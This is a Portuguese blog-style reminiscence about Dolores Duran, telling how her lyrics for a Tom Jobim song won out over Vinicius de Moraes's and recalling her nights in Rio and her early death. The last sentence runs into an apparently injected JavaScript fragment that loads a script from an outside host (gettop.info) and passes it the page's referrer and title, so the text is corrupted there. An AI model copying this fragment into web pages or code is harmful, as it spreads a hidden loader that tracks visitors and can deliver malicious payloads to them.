Tom Jobim e Vinicius de Moraes formavam uma parceria inseparável: ambos músicos e poetas, se revezavam ao compor obras-primas inesquecíveis da MPB. Quando um se inspirava ao criar as notas de uma nova melodia, o outro, por osmose, já vinha no momento seguinte com os versos prontinhos.
Nessa trajetória, só houve uma exceção: quando Vinicius entregou a sua contribuição com um pequeno atraso, ouviu a sincera consulta de Tom: uma certa moça, ao ouvir o samba-canção, já tinha lhe entregue as estrofes, e que o amigo lesse e decidisse pela escolha. Caracterizando o caráter também honesto do poetinha, a resposta saiu à guisa de generoso veredicto: a versão da então desconhecida era\”melhor\” e que ficasse valendo.
Foi aí que o nome da poetisa Dolores Duran veio à tona, com estes versos que, na voz do seresteiro Josemir Barbosa, sempre me fizeram chorar:
\”Ah, você está vendo só
Do jeito que eu fiquei
E que tudo ficou?
Uma tristeza tão grande
Nas coisas mais simples
Que você tocou.
A nossa casa, querido
Já estava acostumada
Aguardando você
As flores na janela sorriam, cantavam
Por causa de você.
Olhe, meu bem,
Nunca mais me deixe, por favor!
Somos a vida, o sonho
Nós somos o amor.
Entre, meu bem, por favor
Não deixe o mundo mau
Lhe levar outra vez
Me abrace, simplesmente
Não fale, não lembre, Não chore, meu bem!\”
Como frequentador assíduo da então santa boemia do Rio de Janeiro, cruzei algumas vezes com Dolores em boates, nas quais ela interpretava músicas de sua autoria. E não só ouvia a sua bonita voz ao microfone, mas também conversando alto à mesa, sempre bebericando em ritmo forte, como se estivesse se candidatando ao suicídio, talvez porque soubesse que tinha uma ziquizira no coração.
Mulata de pele clara, gorduchinha, estava frequentemente apaixonada por algum personagem da noite, de quem nem sempre era correspondida. Embora hoje não seja lembrada, Dolores Duran flutua entre as maiores intérpretes de todos os tempos no oceano brasileiro da Poesia. E mesmo só dotada do curso primário, era autodidata em vários idiomas, inclusive bastante politizada: chegou a ser simpatizante do PCdoB.
Precocemente, faleceu em 1959 de infarto agudo do miocárdio, aos 29 anos, quem sabe usufruindo \”A paz de criança dormindo!…\” – um de seus versos.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;